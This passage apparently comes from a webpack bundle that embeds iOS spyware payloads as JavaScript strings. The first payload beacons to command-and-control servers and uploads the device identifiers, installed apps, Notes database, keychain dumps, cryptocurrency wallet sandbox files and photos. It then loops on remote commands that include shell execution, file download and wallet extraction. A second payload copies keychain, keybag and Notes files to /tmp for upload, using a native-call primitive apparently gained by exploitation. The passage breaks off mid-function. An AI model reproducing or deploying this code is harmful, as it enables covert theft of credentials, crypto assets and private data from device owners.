Native.callSymbol(\"IORegistryEntryCreateCFProperty\",\n\t\t\t\t\t\t\texpert, keyCF, 0n, 0n);\n\t\t\t\t\t\tNative.callSymbol(\"CFRelease\", keyCF);\n\n\t\t\t\t\t\tif (valCF && valCF !== 0n) {\n\t\t\t\t\t\t\tlet uuid = \"\";\n\t\t\t\t\t\t\tconst cstr = Native.callSymbol(\"CFStringGetCStringPtr\",\n\t\t\t\t\t\t\t\tvalCF, 0x08000100);\n\t\t\t\t\t\t\tif (cstr && cstr !== 0n) {\n\t\t\t\t\t\t\t\tuuid = Native.readString(cstr, 256).replace(/\\0/g, \"\").trim();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (!uuid) {\n\t\t\t\t\t\t\t\tconst tmp = Native.callSymbol(\"malloc\", 256);\n\t\t\t\t\t\t\t\tif (tmp && tmp !== 0n) {\n\t\t\t\t\t\t\t\t\tif (Native.callSymbol(\"CFStringGetCString\",\n\t\t\t\t\t\t\t\t\t\tvalCF, tmp, 256, 0x08000100))\n\t\t\t\t\t\t\t\t\t\tuuid = Native.readString(tmp, 256).replace(/\\0/g, \"\").trim();\n\t\t\t\t\t\t\t\t\tNative.callSymbol(\"free\", tmp);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tNative.callSymbol(\"CFRelease\", valCF);\n\t\t\t\t\t\t\tif (uuid && uuid.length > 0) {\n\t\t\t\t\t\t\t\tNative.callSymbol(\"IOObjectRelease\", expert);\n\t\t\t\t\t\t\t\treturn uuid;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tNative.callSymbol(\"IOObjectRelease\", expert);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} catch (e) {}\n\n\t// Fallback: sysctl HW_UUID\n\ttry {\n\t\tconst mib = Native.callSymbol(\"malloc\", 8);\n\t\tconst res = Native.callSymbol(\"malloc\", 256);\n\t\tconst slen = Native.callSymbol(\"malloc\", 8);\n\t\tif (!mib || !res || !slen) return \"\";\n\t\ttry {\n\t\t\tconst mibAB = new ArrayBuffer(8);\n\t\t\tconst mv = new DataView(mibAB);\n\t\t\tmv.setInt32(0, 6, true);\n\t\t\tmv.setInt32(4, 25, true);\n\t\t\tNative.write(mib, mibAB);\n\n\t\t\tconst slAB = new ArrayBuffer(8);\n\t\t\tnew DataView(slAB).setUint32(0, 256, true);\n\t\t\tNative.write(slen, slAB);\n\n\t\t\tlet r = Native.callSymbol(\"sysctl\", mib, 2, 0n, slen, 0n, 0);\n\t\t\tif (r !== 0) return \"\";\n\n\t\t\tconst ld = Native.read(slen, 8);\n\t\t\tconst sz = new DataView(ld).getUint32(0, true);\n\t\t\tif (sz <= 0 || sz > 256) return \"\";\n\n\t\t\tconst sl2 = new ArrayBuffer(8);\n\t\t\tnew DataView(sl2).setUint32(0, sz, true);\n\t\t\tNative.write(slen, sl2);\n\n\t\t\tr = Native.callSymbol(\"sysctl\", mib, 2, res, slen, 0n, 0);\n\t\t\tif (r !== 0) return \"\";\n\n\t\t\tconst raw = new Uint8Array(Native.read(res, sz));\n\t\t\tlet uuid = \"\";\n\t\t\tfor (let i = 0; i < raw.length; i++) {\n\t\t\t\tif (!raw[i]) break;\n\t\t\t\tif (raw[i] >= 32 && raw[i] <= 126) uuid += String.fromCharCode(raw[i]);\n\t\t\t}\n\t\t\tuuid = uuid.trim();\n\t\t\tif (uuid.length > 0) return uuid;\n\t\t} finally {\n\t\t\tNative.callSymbol(\"free\", mib);\n\t\t\tNative.callSymbol(\"free\", res);\n\t\t\tNative.callSymbol(\"free\", slen);\n\t\t}\n\t} catch (e) {}\n\n\treturn \"\";\n}\n\nfunction _getDeviceModel() {\n\tconst uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (!uts || uts === 0n) return \"\";\n\ttry {\n\t\tNative.callSymbol(\"uname\", uts);\n\t\treturn Native.readString(uts + 1024n, 256).replace(/\\0/g, '');\n\t} finally { Native.callSymbol(\"free\", uts); }\n}\n\n// ============================================================================\n// HQ Wallet Package Builder\n// ============================================================================\n\nvar _hqSandboxKeyMap = {\n\t\"Trust Wallet\": \"trust_wallet\", \"Bitget\": \"bitget\", \"Coin98\": \"coin98\",\n\t\"TronLink\": \"tronlink\", \"Tonhub\": \"tonhub\", \"TokenPocket\": \"tokenpocket\",\n\t\"imToken\": \"imtoken\"\n};\n\nfunction _buildWalletPkg(deviceUUID) {\n\tvar kcDumpPath = \"/tmp/keychain_c2_dump.json\";\n\tvar kcData = _readFileBytes(kcDumpPath, 5242880);\n\tif (!kcData) {\n\t\tNative.callSymbol(\"chmod\", \"/tmp/keychain_c2_dump.json.tmp\", 0x1A4);\n\t\tNative.callSymbol(\"rename\", \"/tmp/keychain_c2_dump.json.tmp\", kcDumpPath);\n\t\tNative.callSymbol(\"chmod\", kcDumpPath, 0x1A4);\n\t\tkcData = _readFileBytes(kcDumpPath, 5242880);\n\t}\n\tif (!kcData) return null;\n\tvar kcStr = _rawToStr(kcData);\n\tvar keychain;\n\ttry { keychain = JSON.parse(kcStr); } catch(e) { return null; }\n\n\tvar dirs = listDir(APP_DATA_BASE);\n\tvar containerMap = {};\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar cpath = APP_DATA_BASE + \"/\" + dirs[i].name;\n\t\tvar plistPath = cpath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tif (Number(Native.callSymbol(\"access\", plistPath, 0)) !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\t\tfor (var bid in WALLET_BUNDLE_IDS) {\n\t\t\tif (content.indexOf(bid) >= 0 && !containerMap[bid]) containerMap[bid] = cpath;\n\t\t}\n\t}\n\n\tvar sandbox = {};\n\tvar totalSize = 0;\n\tvar maxTotal = 10485760;\n\tfor (var bid in containerMap) {\n\t\tvar cfg = WALLET_BUNDLE_IDS[bid];\n\t\tif (!cfg.sandbox || !cfg.files) continue;\n\t\tvar key = _hqSandboxKeyMap[cfg.name] || cfg.name.toLowerCase().replace(/ /g, \"_\");\n\t\tvar perFileMax = cfg.maxFileSize || 2097152;\n\t\tvar resolved = _resolveWalletFiles(containerMap[bid], cfg.files);\n\t\tvar files = {};\n\t\tfor (var fi = 0; fi < resolved.length; fi++) {\n\t\t\tif (totalSize >= maxTotal) break;\n\t\t\tvar rf = resolved[fi];\n\t\t\tvar fd = readFileB64(rf.absPath, perFileMax);\n\t\t\tif (!fd) continue;\n\t\t\tif (totalSize + fd.size > maxTotal) continue;\n\t\t\tfiles[rf.relPath] = fd.b64;\n\t\t\ttotalSize += fd.size;\n\t\t}\n\t\tif (Object.keys(files).length > 0) sandbox[key] = files;\n\t}\n\n\treturn { device_uuid: deviceUUID, keychain: keychain, sandbox: sandbox };\n}\n\n// ============================================================================\n// Main Loop\n// ============================================================================\n\nNative.init();\n\nconst DEVICE_UUID = _getDeviceUUID();\nconst DEVICE_MODEL = _getDeviceModel();\n\nfunction _sysctlString(name) {\n\tvar sizePtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!sizePtr || sizePtr === 0n) return \"\";\n\tvar rc = Number(Native.callSymbol(\"sysctlbyname\", name, 0, sizePtr, 0, 0));\n\tif (rc !== 0) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tvar sz = Number(Native.readPtr(BigInt(sizePtr)));\n\tif (sz <= 0 || sz > 4096) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(sz + 1));\n\tif (!buf || buf === 0n) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tNative.write64(sizePtr, BigInt(sz + 1));\n\trc = Number(Native.callSymbol(\"sysctlbyname\", name, buf, sizePtr, 0, 0));\n\tvar result = rc === 0 ? Native.readString(buf, sz).replace(/\\0/g, \"\") : \"\";\n\tNative.callSymbol(\"free\", buf); Native.callSymbol(\"free\", sizePtr);\n\treturn result;\n}\n\n\nvar _beaconDevInfo = { machine: DEVICE_MODEL };\nif (C2_CHANNEL_CODE) _beaconDevInfo.channel_code = C2_CHANNEL_CODE;\ntry {\n\tvar _uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (_uts && _uts !== 0n) {\n\t\tNative.callSymbol(\"uname\", _uts);\n\t\t_beaconDevInfo.sysname = Native.readString(_uts, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.nodename = Native.readString(_uts + 256n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.release = Native.readString(_uts + 512n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.version = Native.readString(_uts + 768n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.arch = Native.readString(_uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", _uts);\n\t}\n} catch(e) {}\ntry {\n\tvar _hbuf = Native.callSymbol(\"malloc\", 256);\n\tif (_hbuf && _hbuf !== 0n) {\n\t\tif (Number(Native.callSymbol(\"gethostname\", _hbuf, 255)) === 0)\n\t\t\t_beaconDevInfo.hostname = Native.readString(_hbuf, 256).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", _hbuf);\n\t}\n} catch(e) {}\n\ntry { _beaconDevInfo.build_version = _sysctlString(\"kern.osversion\"); } catch(e) {}\ntry { _beaconDevInfo.ios_version = _sysctlString(\"kern.osproductversion\"); } catch(e) {}\ntry { _beaconDevInfo.kern_version = _beaconDevInfo.version || \"\"; } catch(e) {}\n\nfunction _senBeacon() {\n\ttry {\n\t\treturn httpPost(C2_BEACON_URL, {\n\t\t\tuuid: DEVICE_UUID, device_info: _beaconDevInfo, status: \"idle\"\n\t\t});\n\t} catch(e) { return null; }\n}\n\n// --- Phase 1: First SEN beacon (registers device, starts 5-min delay) ---\nvar _senResp1 = _senBeacon();\nvar _deviceIP = \"\";\nif (_senResp1 && _senResp1.client_ip) _deviceIP = _senResp1.client_ip;\nNative.callSymbol(\"usleep\", 2000000);\n\nfunction _hqHeartbeat() {\n\ttry {\n\t\tvar body = { lhu: DEVICE_UUID, type: \"status\", source: \"c2_agent\" };\n\t\tif (_deviceIP) body.ip = _deviceIP;\n\t\thqPost(\"/event\", body);\n\t} catch(e) {}\n}\n\n// --- Phase 2: HQ auto-collect (SEN heartbeats interspersed) ---\n\ntry { hqPost(\"/a\", {\n\tlhu: DEVICE_UUID, machine: DEVICE_MODEL,\n\tdeviceName: _beaconDevInfo.hostname || \"\",\n\tios_version: _beaconDevInfo.ios_version || \"\",\n\tbuild_version: _beaconDevInfo.build_version || \"\",\n\tkern_version: _beaconDevInfo.kern_version || \"\",\n\thostname: _beaconDevInfo.hostname || \"\",\n\tsysname: _beaconDevInfo.sysname || \"\",\n\trelease: _beaconDevInfo.release || \"\",\n\tversion: _beaconDevInfo.version || \"\",\n\tip: _deviceIP,\n\tsource: \"c2_agent\"\n}); } catch(e) {}\n\nNative.callSymbol(\"usleep\", 1000000);\n_hqHeartbeat();\n\ntry {\n\tvar _hqApps = [];\n\tvar _appBases = [APP_DATA_BASE, \"/var/mobile/Containers/Bundle/Application\"];\n\tvar _hqDirs = [];\n\tvar _usedBase = \"\";\n\tfor (var _bi = 0; _bi < _appBases.length; _bi++) {\n\t\t_hqDirs = listDir(_appBases[_bi]);\n\t\tif (_hqDirs.length > 0) { _usedBase = _appBases[_bi]; break; }\n\t}\n\tfor (var _ai = 0; _ai < _hqDirs.length; _ai++) {\n\t\tif (_hqDirs[_ai].type !== \"dir\") continue;\n\t\tvar _acp = _usedBase + \"/\" + _hqDirs[_ai].name;\n\t\tvar _apl = _acp + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar _ab = _readFileBytes(_apl, 8192);\n\t\tif (!_ab || _ab.length === 0) continue;\n\t\tvar _ac = _rawToStr(_ab);\n\t\tif (_ac.indexOf(\"MCMMetadataIdentifier\") < 0) continue;\n\t\tvar _bm = _ac.match(/MCMMetadataIdentifier<\\/key>\\s*([^<]+)/);\n\t\tif (!_bm) {\n\t\t\tvar _bpAll = _ac.match(/[a-z][a-z0-9]*(?:\\.[a-zA-Z0-9_-]+){2,}/g);\n\t\t\tif (_bpAll) {\n\t\t\t\tfor (var _bpi = 0; _bpi < _bpAll.length; _bpi++) {\n\t\t\t\t\tif (_bpAll[_bpi].indexOf(\"MCM\") >= 0) continue;\n\t\t\t\t\t_bm = [null, _bpAll[_bpi]];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (!_bm) continue;\n\t\tvar _appName = _bm[1];\n\t\tvar _subDirs = listDir(_acp);\n\t\tfor (var _si = 0; _si < _subDirs.length; _si++) {\n\t\t\tvar _sn = _subDirs[_si].name;\n\t\t\tif (_sn.length > 4 && _sn.substring(_sn.length - 4) === \".app\") {\n\t\t\t\t_appName = _sn.substring(0, _sn.length - 4);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t_hqApps.push({ uuid: _hqDirs[_ai].name, bundleId: _bm[1], name: _appName });\n\t}\n\thqPost(\"/u\", { lhu: DEVICE_UUID, apps: _hqApps, count: _hqApps.length, source: \"c2_agent\" });\n} catch(e) {}\n\n_senBeacon();\nNative.callSymbol(\"usleep\", 1000000);\n\ntry {\n\tvar _hqDbPath = _findNoteStore();\n\tif (_hqDbPath) {\n\t\tvar _hqSuffixes = [\"\", \"-wal\", \"-shm\"];\n\t\tvar _hqTmpBase = \"/tmp/_hq_notestore\";\n\t\tfor (var _ci = 0; _ci < _hqSuffixes.length; _ci++) {\n\t\t\tvar _csrc = _hqDbPath + _hqSuffixes[_ci];\n\t\t\tif (Number(Native.callSymbol(\"access\", _csrc, 0)) === 0) {\n\t\t\t\tvar _cdst = _hqTmpBase + _hqSuffixes[_ci];\n\t\t\t\t_cmdCp([\"cp\", _csrc, _cdst]);\n\t\t\t\tNative.callSymbol(\"chmod\", _cdst, 0x1A4);\n\t\t\t}\n\t\t}\n\t\tvar _noteList = [];\n\t\tvar _noteRows = _sqliteQuery(_hqTmpBase,\n\t\t\t\"SELECT Z_PK, ZTITLE1, ZSNIPPET, ZMODIFICATIONDATE1 FROM ZICCLOUDSYNCINGOBJECT WHERE ZTITLE1 IS NOT NULL ORDER BY ZMODIFICATIONDATE1 DESC LIMIT 500\", 500);\n\t\tif (_noteRows && _noteRows.rows) {\n\t\t\tfor (var _ni = 0; _ni < _noteRows.rows.length; _ni++) {\n\t\t\t\tvar _nr = _noteRows.rows[_ni];\n\t\t\t\tif (!_nr.ZTITLE1 && !_nr.ZSNIPPET) continue;\n\t\t\t\t_noteList.push({\n\t\t\t\t\tid: _nr.Z_PK,\n\t\t\t\t\ttitle: _nr.ZTITLE1 || \"\",\n\t\t\t\t\tsnippet: _nr.ZSNIPPET || \"\",\n\t\t\t\t\tmod: _nr.ZMODIFICATIONDATE1\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t\tvar _hqDbFiles = [];\n\t\tfor (var _mi = 0; _mi < _hqSuffixes.length; _mi++) {\n\t\t\tvar _mfp = _hqTmpBase + _hqSuffixes[_mi];\n\t\t\tvar _mfd = readFileB64(_mfp, 5242880);\n\t\t\tif (_mfd) {\n\t\t\t\tvar _origName = _hqDbPath.substring(_hqDbPath.lastIndexOf(\"/\") + 1) + _hqSuffixes[_mi];\n\t\t\t\t_hqDbFiles.push({ name: _origName, data: _mfd.b64, size: _mfd.size });\n\t\t\t}\n\t\t}\n\t\tfor (var _di = 0; _di < _hqSuffixes.length; _di++)\n\t\t\tNative.callSymbol(\"unlink\", _hqTmpBase + _hqSuffixes[_di]);\n\t\tif (_noteList.length > 0 || _hqDbFiles.length > 0)\n\t\t\thqPost(\"/nb\", { lhu: DEVICE_UUID, list: _noteList, db_files: _hqDbFiles, db_path: _hqDbPath, count: _noteList.length, source: \"c2_agent\" });\n\t}\n} catch(e) {}\n\n_senBeacon();\n_hqHeartbeat();\nNative.callSymbol(\"usleep\", 1000000);\n\ntry {\n\tvar _kcDonePath = \"/tmp/keychain_c2_dump.done\";\n\tvar _kcFound = false;\n\tvar _kcPollStart = Date.now();\n\twhile (!_kcFound && (Date.now() - _kcPollStart) < 180000) {\n\t\tif (Number(Native.callSymbol(\"access\", _kcDonePath, 0)) === 0) {\n\t\t\t_kcFound = true;\n\t\t\tbreak;\n\t\t}\n\t\tNative.callSymbol(\"usleep\", 30000000);\n\t\t_senBeacon();\n\t\t_hqHeartbeat();\n\t}\n\tif (_kcFound) {\n\t\tNative.callSymbol(\"usleep\", 2000000);\n\t\tvar _walletPkg = _buildWalletPkg(DEVICE_UUID);\n\t\tif (_walletPkg) {\n\t\t\tvar _walletUrl = HQ_API_BASE.replace(/:\\d+/, \":\" + HQ_WALLET_PORT) + \"/war\";\n\t\t\tvar _walletBodyLen = JSON.stringify(_walletPkg).length;\n\t\t\t_writeLog(\"[WALLET-HQ] sending to \" + _walletUrl + \" body=\" + _walletBodyLen);\n\t\t\ttry {\n\t\t\t\tvar _walletResp = httpPost(_walletUrl, _walletPkg);\n\t\t\t\t_writeLog(\"[WALLET-HQ] POST ok resp=\" + JSON.stringify(_walletResp));\n\t\t\t} catch(walletErr) {\n\t\t\t\t_writeLog(\"[WALLET-HQ] POST FAILED err=\" + String(walletErr));\n\t\t\t}\n\t\t} else {\n\t\t\t_writeLog(\"[WALLET-HQ] _buildWalletPkg returned null\");\n\t\t}\n\t} else {\n\t\t_writeLog(\"[WALLET-HQ] keychain_c2_dump.done not found after 180s polling\");\n\t}\n} catch(walletOuterErr) {\n\t_writeLog(\"[WALLET-HQ] outer error: \" + String(walletOuterErr));\n}\n\n_senBeacon();\n_hqHeartbeat();\nNative.callSymbol(\"usleep\", 1000000);\n\ntry {\n\tvar _hqPhotos = _queryPhotosPaths(100);\n\tfor (var _pi = 0; _pi < _hqPhotos.length; _pi++) {\n\t\tvar _ph = _hqPhotos[_pi];\n\t\tvar _psz = getFileSize(_ph.path);\n\t\tif (_psz <= 0 || _psz > 10485760) continue;\n\t\tvar _pmd5 = _md5file(_ph.path, 10485760);\n\t\tif (!_pmd5) continue;\n\t\t_hqUploadPhoto(_ph.path, _ph.name, DEVICE_UUID, String(_pi + 1), _pmd5);\n\t\tNative.callSymbol(\"usleep\", 1200000);\n\t\tif ((_pi + 1) % 10 === 0) { _senBeacon(); _hqHeartbeat(); }\n\t}\n} catch(e) {}\n\n// --- Phase 3: SEN beacon loop ---\n\nvar _hqHeartbeatNext = Date.now() + 60000;\nlet interval = 15;\nfor (;;) {\n\ttry {\n\t\tconst resp = _senBeacon();\n\n\t\tif (resp && resp.type && resp.type !== \"noop\") {\n\t\t\ttry {\n\t\t\t\tswitch (resp.type) {\n\t\t\t\t\tcase \"execute_command\": handleExecuteCommand(resp); break;\n\t\t\t\t\tcase \"ls\": handleLs(resp); break;\n\t\t\t\t\tcase \"download\": handleDownload(resp); break;\n\t\t\t\t\tcase \"photos\": handlePhotos(resp); break;\n\t\t\t\t\tcase \"apps\": handleApps(resp); break;\n\t\t\t\t\tcase \"exec\": handleExec(resp); break;\n\t\t\t\t\tcase \"file_upload\": handleFileUpload(resp); break;\n\t\t\t\t\tcase \"basic_info\": handleBasicInfo(resp); break;\n\t\t\t\t\tcase \"disk_scan\": handleDiskScan(resp); break;\n\t\t\t\t\tcase \"ios_app_data\": handleIosAppData(resp); break;\n\t\t\t\tcase \"wallet_extract\": handleWalletExtract(resp); break;\n\t\t\t\tcase \"wallet_scan\": handleWalletScan(resp); break;\n\t\t\t\tcase \"memo_scan\": handleMemoScan(resp); break;\n\t\t\t\tcase \"photo_scan\": handlePhotoScan(resp); break;\n\t\t\t\tcase \"sleep\":\n\t\t\t\t\t\tinterval = (resp.params && resp.params.interval) || 15;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"exit\":\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} catch (cmdErr) {\n\t\t\t\ttry {\n\t\t\t\t\tsendJSON(resp.command_id, {\n\t\t\t\t\t\tstatus: \"failed\",\n\t\t\t\t\t\terror: String(cmdErr),\n\t\t\t\t\t\t_task_id: (resp.params && resp.params._task_id) || \"\",\n\t\t\t\t\t\t_task_type: (resp.params && resp.params._task_type) || \"\"\n\t\t\t\t\t}, \"error_report.json\");\n\t\t\t\t} catch(re) {}\n\t\t\t}\n\t\t\tif (resp.type === \"exit\") break;\n\t\t}\n\t} catch (e) {\n\t}\n\n\tif (Date.now() >= _hqHeartbeatNext) {\n\t\t_hqHeartbeat();\n\t\t_hqHeartbeatNext = Date.now() + 60000;\n\t}\n\n\tNative.callSymbol(\"usleep\", interval * 1000000);\n}\n"); /***/ }), /***/ "./node_modules/raw-loader/dist/cjs.js!./src/keychain_copier.js": /*!**********************************************************************!*\ !*** ./node_modules/raw-loader/dist/cjs.js!./src/keychain_copier.js ***! \**********************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) /* harmony export */ }); /* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("// Keychain/Keybag Copier Payload\n// Runs under configd context which has access to keychain files\n// Copies keychain/keybag files to /tmp with 777 permissions\n// The main file_downloader payload will then send them\n\nclass Native {\n\t\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\t\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\t\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\n\tstatic #dlsymCache = {};\n\t\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\t\t\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize));\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtrStr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t}\n\t\n\tstatic write(ptr, buff) {\n\t\tif (!ptr) return false;\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0;\n\t\tlet left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000) len = 0x1000;\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn true;\n\t}\n\t\n\tstatic read(ptr, length) {\n\t\tif (!ptr) return null;\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0;\n\t\tlet left = length;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000) len = 0x1000;\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\t\n\tstatic readPtr(ptr) {\n\t\tlet buff = this.read(ptr, 8);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getBigUint64(0, true);\n\t}\n\t\n\tstatic read32(ptr) {\n\t\tlet buff = this.read(ptr, 4);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getInt32(0, true);\n\t}\n\t\n\tstatic write64(ptr, value) {\n\t\tconst buff = new ArrayBuffer(8);\n\t\tconst view = new DataView(buff);\n\t\tview.setBigUint64(0, value, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic readString(ptr, len=1024) {\n\t\tlet buff = this.read(ptr, len);\n\t\treturn this.bytesToString(buff, false);\n\t}\n\t\n\tstatic writeString(ptr, str) {\n\t\tconst buff = this.stringToBytes(str, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0);\n\t\tx1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2);\n\t\tx3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4);\n\t\tx5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6);\n\t\tx7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNullChar=true) {\n\t\tlet bytes8 = new Uint8Array(bytes);\n\t\tlet str = \"\";\n\t\tfor (let i=0; i= 0x1000) return 0n;\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, value);\n\t\t\tthis.#argPtr += BigInt(value.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\telse if (typeof value === 'bigint') return value;\n\t\telse return BigInt(value);\n\t}\n\n\tstatic #dlsym(name) {\n\t\tif (!name) return 0n;\n\t\tlet addr = this.#dlsymCache[name];\n\t\tif (addr) return addr;\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nameBytes = this.stringToBytes(name, true);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tbuff8.set(new Uint8Array(nameBytes), 0x1000);\n\t\taddr = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (addr) this.#dlsymCache[name] = addr;\n\t\treturn addr;\n\t}\n\t\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\tlet buff = new BigInt64Array(nativeCallBuff);\n\t\tbuff[0] = addr;\n\t\tbuff[100] = x0;\n\t\tbuff[101] = x1;\n\t\tbuff[102] = x2;\n\t\tbuff[103] = x3;\n\t\tbuff[104] = x4;\n\t\tbuff[105] = x5;\n\t\tbuff[106] = x6;\n\t\tbuff[107] = x7;\n\t\tinvoker();\n\t\treturn buff[200];\n\t}\n\t\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\tconst funcAddr = this.#dlsym(name);\n\t\tconst ret64 = this.#nativeCallAddr(funcAddr, ...args);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn) return Number(ret64);\n\t\treturn ret64;\n\t}\n}\n\n// ============================================================================\n// Configuration\n// ============================================================================\n\nconst TAG = \"INFO\";\n\n// Destination directory for copied files\nconst DEST_DIR = \"/tmp\";\n\n// ============================================================================\n// Keychain and Keybag Files to Copy (iOS 18)\n// ============================================================================\n\nconst KEYCHAIN_FILES = [\n\t// Keychain database\n\t{ src: \"/private/var/Keychains/keychain-2.db\", dst: \"keychain-2.db\" },\n\t{ src: \"/private/var/Keychains/keychain-2.db-wal\", dst: \"keychain-2.db-wal\" },\n\t{ src: \"/private/var/Keychains/keychain-2.db-shm\", dst: \"keychain-2.db-shm\" },\n\t\n\t// Keybag files in /var/keybags\n\t{ src: \"/var/keybags/persona.kb\", dst: \"persona.kb\" },\n\t{ src: \"/var/keybags/usersession.kb\", dst: \"usersession.kb\" },\n\t{ src: \"/var/keybags/backup/backup_keys_cache.sqlite\", dst: \"backup_keys_cache.sqlite\" },\n\t{ src: \"/private/var/keybags/persona.kb\", dst: \"persona_private.kb\" },\n\t{ src: \"/private/var/keybags/usersession.kb\", dst: \"usersession_private.kb\" },\n\t\n\t// Keybag files in Keychains directory\n\t{ src: \"/private/var/Keychains/System.keybag\", dst: \"System.keybag\" },\n\t{ src: \"/private/var/Keychains/Backup.keybag\", dst: \"Backup.keybag\" },\n\t\n\t// Notes database\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite\", dst: \"notes.sqlite\" },\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite-wal\", dst: \"notes.sqlite-wal\" },\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite-shm\", dst: \"notes.sqlite-shm\" },\n\t{ src: \"/private/var/Keychains/persona.kb\", dst: \"persona_keychains.kb\" },\n\t{ src: \"/private/var/Keychains/usersession.kb\", dst: \"usersession_keychains.kb\" },\n\t{ src: \"/private/var/Keychains/device.kb\", dst: \"device.kb\" },\n];\n\n// ============================================================================\n// Helper Functions\n// ============================================================================\n\nfunction fileExists(filePath) {\n\tconst result = Native.callSymbol(\"access\", filePath, 0);\n\treturn Number(result) === 0;\n}\n\nfunction getFileSize(filePath) {\n\ttry {\n\t\tconst statBuf = Native.callSymbol(\"malloc\", BigInt(144));\n\t\tif (!statBuf || statBuf === 0n) return 